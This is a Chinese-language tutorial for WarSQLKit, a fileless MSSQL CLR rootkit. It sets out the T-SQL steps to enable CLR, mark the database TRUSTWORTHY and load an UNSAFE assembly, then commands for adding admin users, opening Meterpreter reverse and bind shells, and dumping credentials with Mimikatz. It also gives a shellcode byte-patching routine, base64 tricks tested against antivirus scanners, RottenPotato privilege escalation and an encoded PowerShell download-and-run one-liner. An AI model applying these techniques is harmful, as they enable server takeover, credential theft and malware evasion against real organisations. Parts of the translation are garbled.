MSSQL無落地文件執行Rootkit-WarSQLKit


0x00 前言

在本文中,我們將處理一個很長時間以來一直待解決的問題:MSSQL Rootkit。到目前為止,針對MS-SQL所描述的大多數命令執行都是調用“ xp_cmdshell ”和“ sp_OACreate ”存儲過程的。因此,如果在沒有xp_cmdshell和sp_OACreate存儲過程的MSSQL服務器上擁有“ sa ”帳戶或任何具有“ sysadmin ”權限的用戶帳戶,我們是否將停止滲透該系統?

 當然,我們不應該放棄。在本文中將介紹如何獲取具"xp_cmdshell”,“ sp_OACreate”,“ sp_OAMethod”的sysadmin權限的帳戶.

WarSQLKit Github: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit

此工具用於捕獲具有“系統管理員權限”和“ xp_cmdshell”,“ sp_OACreate”,“ sp_OAMethod”等權限的帳戶。

WarSQLKit命令示例:

EXEC sp_cmdExec 'whoami'; => Any Windows command
EXEC sp_cmdExec 'whoami /RunSystemPriv'; => Any Windows command with NT AUTHORITY\SYSTEM rights
EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add" /RunSystemPriv'; => Adding users with RottenPotato (Kumpir)
EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'; => Adding user to localgroup with RottenPotato (Kumpir)
EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'; => (Powershell) with RottenPotato (Kumpir)
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection with  NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x64 Meterpreter Reverse Connection with  NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection RC4 with  NT AUTHORITY\SYSTEM, RC4PASSWORD=warsql
EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'; => x86 Meterpreter Bind Connection with  NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_Mimikatz'; 
select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :)
EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300';  => Download File
EXEC sp_cmdExec 'sp_getSqlHash';  => Get MSSQL Hash
EXEC sp_cmdExec 'sp_getProduct';  => Get Windows Product
EXEC sp_cmdExec 'sp_getDatabases';  => Get Available Database

WarSQLKit.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKit/bin/Debug/WarSQLKit.dll

WarSQLKit_Compressed.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKit/bin/Debug/Confused/WarSQLKit.dll

WarSQLKitMinimal.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKitMinimal/bin/Debug/WarSQLKitMinimal.dll

Meterpreter CSharp (C#) Shellcode: https://github.com/EPICROUTERSS/Build-Meterpreter-CSharp-Shellcode

Meterpreter CSharp(C#)Base64編碼的Shellcode:https://github.com/EPICROUTERSS/Build-Encoded-Meterpreter-C-Shellcode

OSCMDEXEC_CLR: https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_clr.sql

0x01  什么是CLR

CLR(公共語言運行庫)提供了.NET Framework的命令執行環境,該環境在MSSQL Server 2005中可運行,同時也可以在MSSQL Server 2016中運行。換言之,它使我們能夠通過MSSQL處理和運行.NET Framework對象。可以使用MSSQL CLR導入任何.NET DLL或使用T-SQL執行命令。

0x02 什么是基於CLR的DLL

基於CLR的DLL文件;MsSQL 的 C#、VB.NET等。使用其中一種 .NET 語言,存儲過程允許 T-SQL 語句在 .NET 框架中運行,如觸發器等。有了它可創建一個基於DLL的CLR,可以通過將存儲過程或類似的 T-SQL 語句從 MSSQL 發送 DLL 文件來使這些語句正常執行。我想,如果可以通過MSSQL運行任何.NET對象,那么我就可以在操作系統上運行任何我想要運行的代碼。事實上,進一步來說,可利用.NET的全部功能來構建自己的rootkit。那么,我們如何做到這一點呢?

0x03 創建基於CLR的DLL

首先,我們將從Visual Studio創建一個項目。我們轉到“新建項目”>“ SQL Server”>“ SQL Server數據庫項目”。

創建我們的項目后,右鍵單擊並選擇添加>新建項目> SQL CLR C#> SQL CLR C#存儲過程。

這些步驟之后,基於CLR的DLL現在已准備就緒。現在我們可以開始編譯了。

0x04  DLL命令處理程序

我們需要編寫一種方法來處理從存儲過程到 DLL 的命令。創建此參數的原因是我們必須運行通過 MSSQL 傳輸的操作系統命令。

我定義了一個靜態方法,稱為"cmdExec",帶有"cmd"參數。此靜態方法中的命令將傳輸到"RunCommand"靜態方法。這允許我們運行作為輸入發送的命令,通過進程及其參數並返回結果。

使用發送到RunCommand方法的命令,我們從Process()類創建一個進程,並通過cmd.exe運行該進程,然后通過MSSQL將輸出返回給我們。

0x05 程序集 - 存儲過程 - 可信關系

使用SQL CLR C#存儲過程,我們創建了.NET DLL的基本版。但是,僅dll無法正常運行。我們需要通過T-SQL在MSSQL中注冊DLL來創建存儲過程。並同時允許通過MSSQL來創建和執行基於CLR的DLL。默認情況下,MSSQL Server 2016不運行基於CLR的DLL文件,它已被禁用。我們使用以下代碼來更改此設置。

sp_configure 'clr enabled', 1

GO

RECONFIGURE

GO

通過上面的代碼,我們啟用了“ clr enabled ”參數。完成此過程后,可以將我們的 DLL 文件作為程序集添加到 MSSQL。

為了確認可信任關系; 確保將MSSQL數據庫中的數據庫標記為安全。標記為安全的數據庫可以訪問對象,網絡和進程資源。通過Trustworthy,我們可以使用以下代碼將數據庫標記為安全。

ALTER DATABASE master SET TRUSTWORTHY ON;

完成此過程后,我們需要將DLL文件作為程序集引入到MSSQL中。這是最重要的一部分。有3種不同的方法來在MSSQL中定義程序集(.NET DLL)。因此,我們可以使用3種不同的方法將我們創建的DLL文件加載到數據庫中。

a.DLL 文件作為字節流加載到 MSSQL

我們可以將創建的DLL文件作為字節流加載到MSSQL中。為此,我們需要使用File.ReadAllBytes()類調用在另一個項目中創建的DLL文件

我讀取了在單獨的項目字節流類型中創建的DLL文件,並將其輸出到byteStream.txt中。現在,我們有了DLL文件的字節流。使用此字節流,我們可以將DLL注冊到程序集中,而無需在MSSQL中加載任何DLL。為此,我們將需要執行一些SQL語句。

注意:使用此方法,我們僅將 DLL 文件保存為數據流,而無需在 MSSQL 中創建任何 DLL 文件。這樣,我們的 Rootkit 將完全無文件執行。

CREATE ASSEMBLY sp_cmdExec

FROM 0x4D5A90000300000004000000FFFF0000B800000000000

WITH PERMISSION_SET = UNSAFE

GO

使用CREATE ASSEMBLY創建一個名為“ sp_cmdExec”的程序集。然后,使用FROM命令選擇要輸出到文件的字節流。這里要注意的最重要的一點是:在我們輸出到文本文件的字節流的開頭沒有“ 0xbasında”。當將視頻流粘貼到我們的文本文件中時,它將無法正常運行。因此,在寫入0x之后,我們將字節流粘貼到文本文件中。使用PERMISSION_SET = UNSAFE參數,我們指定DLL可以訪問不安全的資源(也就是說,我們將僅運行sql和t-sql語句)。如果我們將SAFE參數設置為參數並嘗試執行CMD命令,則將拋出錯誤“ System.Security.HostProtectionException cak”,而我們的cmd命令將無法正常執行。

 

如上圖所示,SAFE僅處理數據庫。EXTERNAL_ACCESS允許我們訪問文件,注冊表和網絡。UNSAFE允許我們訪問本機DLL,COM DLLS對象和其他不安全資源。

 b.使用SQL Server Management Studio將DLL文件轉換為MSSQL

還可以將在SQL Server Management Studio中創建的DLL文件注冊到MSSQL。為此,讓我們通過Management Studio管理MSSQL。

 

在數據庫中,訪問系統數據庫和主數據庫。然后從“可編程性”菜單中右鍵單擊“Assembly”,然后選擇“New Assembly”。

你可以通過從瀏覽菜單中選擇我們創建的DLL文件來注冊我們的DLL。完成此過程后,可以看到我們的DLL已添加到“程序集”菜單中。

從上面的截圖中可以看出,名為WarSQLKit 的DLL文件已保存到程序集中

c.服務器中的目錄調用DLL

CREATE ASSEMBLY sp_cmdExec

FROM 'C:\ProgramData\WarSQLKit.dll'

WITH PERMISSION_SET = UNSAFE

GO

如果我們通過任何其他方式將DLL加載到MSSQL服務器上,我們也可以從目錄中調用DLL。一旦加載了DLL文件,我們就可以將其從服務器中刪除。即使我們從服務器中刪除DLL,我們的程序集也將繼續運行。

在程序集中注冊DLL后,使用3種方法中的任何一種,我們可以調用在DLL中創建的CmdExec靜態方法,或發送一個過程調用。為此,我們最終需要一個存儲過程。使用以下命令,我們可以創建我們的存儲過程。

CREATE PROCEDURE sp_cmdExec

@Command [nvarchar](4000)

WITH EXECUTE AS CALLER

AS

EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec

GO

現在我們都准備好了,讓我們開始運行命令。更詳細的是CREATE PROCEDURE命令“ sp_cmdExec”創建了一個名為sp_cmdExec的存儲過程現在,我們將使用“ sp_cmdExec”而不是“ xp_cmdshell”. 我們還使用@Command [nvarchar](4000)定義了命令參數。由於Nvarchar最多支持4000個字符,因此我們可以運行或顯示4000個字符的命令。我們將調用WarSQLKit,使用EXTERNAL NAME參數創建的DLL的命名名稱,名為StoredProcedures的公共部分類以及名為CmdExec的公共靜態void方法。

0x06 運行Windows命令

EXEC sp_cmdExec'net user';  #列出Windows本地用戶列表。我們不再需要像xp_cmdshell和sp_OACrate這樣的存儲過程。我們可以將所有已知的Windows命令發送到操作系統。

0x07  C#-兼容MSSQL的Meterpreter ShellCode

到目前為止,我們所做的與基本的xp_cmdshell執行沒什么不同。現在我們可以切換到rootkit部分。在上文中我已提到過我們可以在MSSQL中使用.NET Framework的功能。因此,我們需要稍微修改一下DLL文件,然后將Meterpreter Shellcode嵌入到其中。因此,我們可以使用在sp_cmdExec存儲過程中定義的參數來獲得Meterpreter會話。     

通過從Kali操作系統訪問終端屏幕的msfvenom命令來創建與csharp兼容的shellcode。為此,我們可以使用以下命令。  

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.129 LPORT=4444 EXITFUNC=none -f csharp --platform windows

我們創建的與csharp兼容的shellcode將是323個字節的代碼。要編譯和運行Meterpreter代碼,我們需要向DLL中添加一個新類。我創建了一個名為MeterpreterBuilder的類。我們為此類定義了一個名為SaveReverseMeterpreter()的公共void方法。在此方法中,我們定義了運行shellcode的條件要求。 

然后,我們在MeterpreterBuilder類中全局定義以下參數。

本文中已經准備好我們運行的Shellcode。當我們想直接通過sp_cmdExec運行它時,我們有兩個問題需要解決。1. MSSQL(sqlservr.exe)不允許我們運行此Shellcode。2.每次我們從msfvenom生成csharp shellcode並更新我們的DLL時,都會給我們帶來很大的麻煩。因此,我們需要首先解決這些問題。

若要運行Shellcode,我們需要使用.NET Framework的內置編譯器(無需Visual Studio)以exe形式構建代碼,並將其作為單獨的進程運行。由於我們不能每次都處理msfvenom和shellcode,因此需要通過定義字符串ip和字符串端口參數並使用存儲過程中的IP-port參數更新shellcode來編譯SaveReverseMeterpreter()方法。對於步驟1,您可以閱讀標題為"使用.NET Framework( 不戴Visual Studio)C語言的部分。在步驟2中,我們將方法更新為publicstaticvoid SaveReverseMeterpreter(字符串ip,字符串端口)。。現在,SaveReverseMeterpreter方法將在調用時提示我們輸入IP和端口。我們將根據輸入的IP和端口信息更新shellcode。我們可以為此使用以下代碼。

var ipOctetSplit = ip.Split('.');

byte octByte1 = Convert.ToByte(ipOctetSplit[0]);

byte octByte2 = Convert.ToByte(ipOctetSplit[1]);

byte octByte3 = Convert.ToByte(ipOctetSplit[2]);

byte octByte4 = Convert.ToByte(ipOctetSplit[3]);

int inputPort = Int32.Parse(port);

我們根據“ ...”分割作為參數發送的IP 。然后將IP分配給4個八位位組。通過為每個八位位組定義一個字節類型變量,我們將以Convert.ToByte作為字符串的IP八位位組轉換為字節型。

我們為端口執行的過程有些不同。我們將端口解析為Int32。原因是該端口僅包含數字。沒有標點符號。此外,端口可以對應於大於256的數字。因此,如果將端口定義為4444,則Meterpreter在shellcode中將具有2個字節的值,因為它大於256。由於我們不知道要設置哪個端口號,因此我們將通過查看端口號的大小來決定應設置哪個數字。

byte port1Byte = 0x00;    #我定義了2個字節的0x00。

byte port2Byte = 0x00;

if (inputPort > 256)

                {

                    int portOct1 = inputPort / 256;

                    int portOct2 = portOct1 * 256;

                    int portOct3 = inputPort - portOct2;

                    int portoct1Calc = portOct1 * 256 + portOct3;

                    if (inputPort == portoct1Calc)

                    {

                        port1Byte = Convert.ToByte(portOct1);

                        port2Byte = Convert.ToByte(portOct3);

                    }

                }

                else

                {

                    port1Byte = 0x00;

                    port2Byte = Convert.ToByte(inputPort);

                }

我定義了一個if條件來檢查我們設置為Int32的端口值。因此,如果輸入的端口號大於256,我們的條件將起作用,並且我們將進行計算。如果端口大於256,則將第一個輸入的端口除以256,然后將結果的數字分配給一個int變量。然后,我們定義一個類型為int的第二個變量來計算乘數和,然后將256乘以從之前一個值獲得的int變量值。 

在計算乘數之后,我們從設置的端口中減去第二個變量的值,並將其分配給第三個int變量。然后,我們定義另一個if條件,並將輸入的端口值與計算得出的端口值進行比較。如果滿足條件,則將結果值分配給我們先前定義的字節類型的端口變量。

這部分可能看起來有些復雜。為了清楚起見,我將進行采樣。例如,我們希望meterpreter從端口4444返回給我們。在我們的shellcode中,為該端口保留了2個字節的字段,我們需要設置此字段。我們發現數字4444/256 = 17 17 * 256 = 4352。我們發現4444-4352 = 92。因此,我們需要在shellcode中為4444端口定義數字17和92。17字節(十六進制)類型對應於0x11,而92字節類型對應於0x5c。例如,端口57156將為:57156/256 = 223,223 * 256 = 57088、57156-57088 = 68,並且等效項將為0xdf和0x044。在我們的Shellcode中,我們需要將它們分配給與端口值相對應的字節變量。

例如,我們的IP地址192.168.139.129將對應於我們的shellcode中的0xc0、0xa8、0x8b,0x81。現在我們需要在shellcode中更改這些變量。使用我指定的參數,我們將從msfvenom生成的shellcode將始終以相同的變量順序生成。字節數組中的IP和端口信息如下。

我們可以看到在字節數組編號174、175、176和177中設置的IP地址被保留。我在上面提到了端口計算。我們可以看到端口4444對應於17和92。我們的端口位於181和182字節。更改字節數組中作為參數發送的IP和端口的字段就足夠了。

buf[174] = octByte1;

buf[175] = octByte2;

buf[176] = octByte3;

buf[177] = octByte4;

buf[181] = port1Byte;

buf[182] = port2Byte;

如上所述,我們在Shellcode中設置IP和端口值。到目前為止,一切正常。現在,我們需要返回StoredProcedure.cs並進行定義,該定義將調用我們的Meterpreter shellcode。因此,當我們從MSSQL運行類似“ EXEC sp_cmdExec'sp_meterpreter_reverse_tcp 192.168.139.129 4444“的命令時,請調用我們的SaveReverseMeterpreter(字符串ip,字符串端口)方法。

通過在CmdExec中定義if條件,如果發送的命令包含“ sp_meterpreter_reverse_tcp”,則應將命令拆分為空格。然后,我們通過調用MeterpreterBuilder類來設置Ip和Port值,從而調用SaveReverseMeterpreter()方法。現在我們的代碼已經准備好了。我們將在不使用Visual Studio的情況下使用.NET Framework,在MSSQL服務器上編譯這些代碼,並構建Meterpreter exe。這將繞過運行shellcode的“ sqlservr.execalstlrma

0x08 使用.NET Framework從MSSQL編譯C#代碼(不使用Visual Studio)  

在本節中,我將把Meterpreter的shellcode轉換為csharp(.cs)文件,將闡述在SQL Server上運行的代碼。需要重新排列在第7部分中創建的shellcode作為控制台應用程序

我將以控制台應用程序的形式將shellcode填充到var(string)類型的變量中。並需要將此字符串數據寫入到我們在SQL Server中具有寫權限的目錄中。我們可以在此過程中使用以下代碼。

File.WriteAllText(@"C:\\ProgramData\\meterpreter_reverse_tcp.cs", strMtr);

當我們從SQL Server調用方法時,它將名為meterpreter_reverse_tcp.cs的shellcode保存到C:\ProgramData目錄中。保存到SQL Server的文件如下圖所示。

我們需要編譯在沒有Visual Studio的情況下注冊到SQL Server的csharp(.cs)文件。為此,只需要在服務器上安裝.net框架即可。由於我們已經在研究MSSQL,因此MSSQL具有.Net Framework依賴性。換句話說,服務器上有.Net Framework。在服務器上有.Net Framework,但是有那些版本?我們並不知道。要測試版本,我們正在編寫另一種方法,如下圖所示。

通過創建類型<string>的通用列表,我們將“C:\Windows\Microsoft.NET\Framework”文件夾中的子目錄名稱填充到通用列表中。服務器上安裝的所有.Net Frameworks都位於此目錄中。有了這些信息之后,我們現在就可以構建csharp(.cs)文件。

“ Net csc.exe”文件位於.Net Framework的安裝目錄中。csc.exe是.net框架附帶的csharp編譯器。使用此exe,我們可以編譯任何.cs文件,而無需使用Visual Studio。我在rootkit中使用的示例編譯過程如下。

CMD.EXE / C參數運行所在的目錄中安裝最新的.NET Framework版本的CSC.EXE /unsafe /platform:x86使用x86架構來編譯,編譯的可執行文件輸出到“C:\ProgramData\“目錄下。命名使用隨機名稱,然后編譯使用隨機名稱保存在 C:\ProgramData\kaynak  的meterpreter_reverse_tcp.cs文件。  

首先“File.Delete(@"C:\ProgramData\" + randomFileName + @"_reverse.cs"); 要求從服務器中刪除使用File.Delete創建的.cs文件。然后(@"C:\Windows\System32\cmd.exe", @" /c C:\ProgramData\" + randomFileName + @"_reverse.exe");最后,我想運行使用BuildRunMeterprete代碼和cmd.exe / c參數創建的Meterpreter exe。

注意:我們需要使用msfconsole的exploit/multi/handler設置windows/meterpreter/reverse_tcp的有效負載,並等待建立連接。 WarSQLKit中通過此方法定義了4個Meterpreter代理。在WarSQLKit中可以使用以下Meterpreter有效負載。

windows/meterpreter/reverse_tcp

windows/meterpreter/bind_tcp

windows/x64/meterpreter_reverse_tcp

windows/meterpreter/reverse_tcp_rc4

提示:我們創建的Meterpreter shellcode將被許多防病毒軟件攔截並阻止運行。因此,在下一節“  Meterpreter Shellcode Anti技術”中,我們需要繼續介紹如何從防病毒中隱藏我們的Shellcode。

0x09 Meterpreter Shellcode Anti(bypass)技術

不幸的是,我們經典shellcode會被防病毒軟件捕獲。因此,當我們在考慮如何從防病毒程序中隱藏shellcode時,我們想到了Tolga Sezer用base64編碼shellcode並通過將base64轉換為shellcode來運行它的方法。

怎么會呢?當我們使用base64對shellcode進行編碼時,如何自動更改IP和端口值?盡管這些似乎有些問題,但我們將看到可以用一些簡單的方法來解決這一點。首先,我們必須獲取shellcode的原始csharp類型和base64編碼應用程序,然后更改IP和端口值以再次獲取raw,然后應用base64編碼並檢查更改的部分因為和前面的示例一樣,當我們更改IP和端口重合的字節數組時,base64崩潰了。當然,存在將base64分配到6位四字節數組的問題。因此,我對shellcode的base64輸出進行了詳盡的回顧。首先,我們應該看一下已編碼的shellcode的基本代碼

通過更改IP和端口信息,當我將base64編碼重新應用於shellcode時,我看到“ wKiLhmgCANkD ”字符已更改。解碼此部分時,我看到“ c0 a8 8b 86 68 02 00 d9 03”。知道此解碼值分別對應於“ 192.168.139.134 104 2 0 217 3sır”。換句話說,當我們更改IP和端口時,需要正確設置9個字節以使base64正常運行。前4個字節對應於IP,后2個字節對應於端口。

我們已經為名為shellCodeRaw的字符串變量定義了一個固定的base64值。在不破壞base64的情況下,我們不應更改字符串中輸入的IP和端口值。為此,我們需要一個9字節的數組

我為輸入的IP和端口值創建了一個9字節的新數組。前4個字節代表我們設置的IP地址,后2個字節代表端口。當我們使用base64對這9個字節的數組進行編碼時,它不會破壞shellcode的base64狀態。

我定義了一個名為string和s3的變量。將9字節數組轉換為base64字符串。現在,我們有一個與IP和端口變量相對應的base64值。然后定義一個名為newShellCode的字符串變量。通過Replace,我將KwKiLhmgCANkD  ile的值更改為我們創建的9字節數組的base64版本

shellcode的base64已經准備好了。現在它將自動更正輸入的IP和端口值,並將它們轉換為base64以創建新的base64值。默認情況下,我們無法運行此base64。因此,我們將通過在運行時將base64值轉換為字節數組來運行Shellcode。

在此過程中,我們可以在之前定義的“ funcAddr”和“ Marshal.Copy”字段中更改變量名稱。

讓我們編譯CSharp(.cs)代碼,創建一個exe,並檢查shellcode的捕獲狀態。我為兩個應用程序創建了不同的控制台應用程序。通過測試安裝來創建這些控制台應用程序在線防病毒站點。盡管我知道virustotal正在與反病毒供應商共享已發送的應用程序,但我還是安裝了它以進行演示和基准測試。

經典字節數組類型Shellcode測試結果 

Jotti(5/18):https://virusscan.jotti.org/en-US/filescanjob/kefjrqh37l

NoDistribute(6/32):https://nodistribute.com/result/fNvFlayZxHchAizjO3o4n

VirusTotal (11/60)::https://www.virustotal.com/#/file/6cf4dec3dc1dc91a21e17a1e3ca106d7a4ebd4fd23b96de71c9490bf8d24897d/detection

Base64編碼ShellCode的測試結果 

Jotti (1/18): https://virusscan.jotti.org/en-US/filescanjob/uesbd8p86z

NoDistribute (1/32): https://nodistribute.com/result/W1sUCXO4znfEiITJjhbx6

VirusTotal (3/64): https://www.virustotal.com/#/file/4f9c60b05235dde6e165fa71fa15c6aedbefeb7ef91138c569fe118eb15a2b33/detection

目前,我們僅適用Eset技術,但是,可以使用不同的方法。但基本上,這是我在Rootkit中使用的方法

0x10 通過RottenPotato(Kumpir.exe)提升權限

在本節中,我假設一切准備就緒。默認情況下,我們已攻擊的SQL Server正在以“ NT Service \ MSSQLSERVER”權限運行。換句話說,NT服務管理正在運行一個虛擬帳戶類型,該虛擬帳戶類型與服務帳戶的名稱相同。這是Windows操作系統中鮮為人知的權限類型。我們需要從這種類型的權限提升到“ AUT NT AUTHORITY \ SYSTEM”的權限。我已經寫了有關提升MS-SQL 2016中的權限文章:http://eyupcelik.com.tr/guvenlik/491-windows-server-ve-mssql-server-2016-privilege-escalatio

通過使用RottenPotato,我們可以執行特權權限升級。但是,Rottenpotato可獲得一個Meterpreter會話,並使用隱藏功能來增加此Meterpreter會話的權限。我不喜歡這樣,因為我希望在創建的存儲過程中輸入操作系統命令(而不是Meterpreter會話)能夠獲得“ SYSTEM”權限。為此使用的Rottenpotato應用程序必須進行一些修改。經過此修改,Rottenpotato被重命名為“ Kumpir

我必須將Kumpir作為字節流嵌入到我們的Rootkit(WarSQLKit)中。當使用“ / RunSytemPriv”參數將任何命令傳遞到sp_cmdExec存儲過程時,它將以exe的形式拋出kumpir.exe的字節流,傳入的腳本將通過kumpir.exe傳遞給系統,並返回命令輸出。現在,讓我們看看如何傳輸kumpir字節流

我為Kumpir.exe創建了一個類。在KumpirBytes()方法中定義了一個名為hex的字符串。在此字符串中,定義了kumpir.exe的字節流。然后,我需要將此字節流導出為exe。

  我用File.WriteAllBytes導出了Kumpir.exe。但是我有這樣的問題,kumpir.exe(Rottenpotato)有3個依賴文件。這些文件是“ Microsoft.VisualStudio.OLE.Interop.dll”,“ NHttp.dll”和“ SharpCifs.dll”。單獨讀取和輸出每個文件作為字節流,然后導出和刪除每條命令,將是一項非常長的工作。使用ILMerge,我們將這些依賴項與kumpir.exe合並。但是結果仍然令人差強人意,因為Kumpir.exe的大小已達到727 KB。 727 KB的字節流也將非常大。此外,WarSQLKit.dll(Rootkit)導出的文件大小也非常大。

  我們用mpress壓縮Kumpir.exe。727 KB kumpir.exe文件已降至283 KB。我們將283 KB的kumpir.exe填充到十六進制可變字節流中。然后,使用“ File.WriteAllBytes uz”,將Kumpir.exe輸出到C:\ProgramData目錄中。在正常情況下,727 KB是完全夠的。它沒有被任何防病毒軟件捕獲。但是,我們壓縮的Kumpir.exe文件只有283 KB,只有被Avira可以捕獲。 Avira似乎有害,因為Mpress中使用了壓縮技術。

參考鏈接:https://nodistribute.com/result/1jYc9lBu0pqFPg53nm4

0x11 通過Mimikatz獲取會話信息 

 我們將在滲透測試中執行所有這些步驟。但是,由於我們的主要目標是接管域控制器,因此我們需要捕獲“ Mimikatz Clear,帶有明文密碼或最壞的是NTLM密鑰。為此,我創建了一個名為RunMimikatz()的方法。我們的應用程序將從Powersploit的GitHub中提取Mimikatz的Powershell模塊,並將結果返回給我們。我們可以使用以下代碼進行處理。

“Powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m”

到目前為止,一切都還好。但是有一個問題,這個powershell代碼可被捕獲。因此,我們需要將其轉換為base64。 

“powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==”

我們的Powershell代碼的base64版本將如上所述。不幸的是,在這部分之后,我們面臨着不同的問題。我們通過MSSQL運行的Powershell代碼沒有輸出給我們。我們無法獲得輸出的原因是因為nvarchar不能向我們返回超過4000個字符。Mimikatz的輸出將遠遠大於4000個字符。當我在基於Windows Server 2016的用戶登錄的MS-SQL Server 2016上運行命令時,mimikatz輸出大約22000多個字符的輸出。因此,WarSQLKit.dll返回錯誤消息,因為我無法獲得大於4000個字符的輸出。為了解決該問題,我決定將Mimikatz輸出注冊到名為imi mimi.log的臨時目錄中。對於Powershell編碼器 您可以使用https://www.powershellencoder.com

“RunMimikatz("cmd.exe", "/c powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA== > C:\\\\ProgramData\\\\mimi.log 2>&1");“

通過在RunMimikatz方法末尾輸入值為> C:\\\\ProgramData\\\\mimi.log 2>&1,將輸出保存到C:\ProgramData目錄中,文件名為mimi.log。關鍵是,我為每個目錄使用了4個反斜杠。對於C#字符串的值,2反斜杠表示1反斜杠。當代碼傳遞給powershell時,它將剩余的2個反斜杠值評估為1個反斜杠。因此,當傳輸到powershell時,4個反斜杠值表示1個反斜杠。我花了大約2-3個小時才找到並解決了這個問題。

使用上面的代碼序列,我們通過調用powershell運行Powersploit的Mimikatz模塊,並將其注冊到C:\ProgramData目錄中的mimi.log。我們可以使用命令“ type C:\ProgramData\mimi.log”讀取此日志文件。不幸的是,我們不能使用Type命令讀取它,因為如上所述,我們的mimi.log文件大於4000個字符。當我想到如何讀取它時,我發現可以通過這種方式來解決此問題。我們可以通過DLL將保存的mimi.log文件輸出到臨時表中。因此,使用select命令,我們可以檢索表中的數據,即mimikatz日志。要將結果數據輸出到臨時表中,我們需要創建一個sqlCommand。

我創建了一個名為GetMimiLog()的方法。我在此方法中添加了2條SQL命令。對於我們的第一條Sql命令,IF OBJECT_ID('WarSQLKitTemp')IS NOT NULL DROP TABLE WarSQLKitTemp" + Environment.NewLine + "CREATE TABLE dbo.WarSQLKitTemp(mimiLog text);” 輸入SQL語句。用這句話,如果有一個名為S WarSQLKitTemp ve的表並且它不為空,並希望將其刪除。然后,我們創建一個名為WarSQLKitTemp的表和一個名為mimiLog的文本表。

然后,我創建一個名為mimiLogStr的字符串變量,並通過讀取mimi.log文件中的數據將其分配給它。使用參數insert into WarSQLKitTemp(mimiLog) values(@mimiLog),我們還將數據從mimi.log文件輸出到WarSQLKitTemp表中。

這是另一個引起注意的地方。 SqlConnection connection = newSqlConnection("context connection=true")”。對於SqlConnection,我們僅將 context connection=true輸入為ConnectionString 。我們也沒有定義SqlConnection。因為我們的DLL已經在SQL Server上運行,所以我們不需要再次設置諸如數據源,用戶ID和密碼之類的值。

我們已將mimikatz輸出的mimimi.log文件輸入到表中。執行完這些命令后,我們可以通過在SQL Server上運行select * from WarSQLKitTemp命令來獲取mimikatz輸出信息。

0x12 文件下載器

對於經典的Rootkit,文件下載器是必需的。為了在WarSQLKit中放置一個File Downloader,因此,我創建了一個名為FileDownloader的類。 

我為創建的類定義了一種名為StartDownload(int超時)的方法。並為該方法附帶的下載請求創建了WebClient。對於向rootkit的下載請求,我設置了定義“ URL,要保存的目錄,超時”。因此,我們將能夠將給定地址的文件下載到.Net Framework的WebClient對象指定的目錄中。

0x13  WarSQLKit(MSSQL Fileless Rootkit)用戶指南  

 要在SQL Server中定義WarSQLKit.dll,應閱讀第5節中標題為“程序集-存儲過程-信任關系”的文章。我將根據第5節中的小節繼續闡述,從目錄alt調用DLL。通過Management Studio連接到SQL Server並運行以下代碼。

sp_configure 'clr enabled', 1

GO

RECONFIGURE

GO

ALTER DATABASE master SET TRUSTWORTHY ON;

IF (OBJECT_ID('sp_cmdExec') IS NOT NULL)

DROP PROCEDURE sp_cmdExec

GO

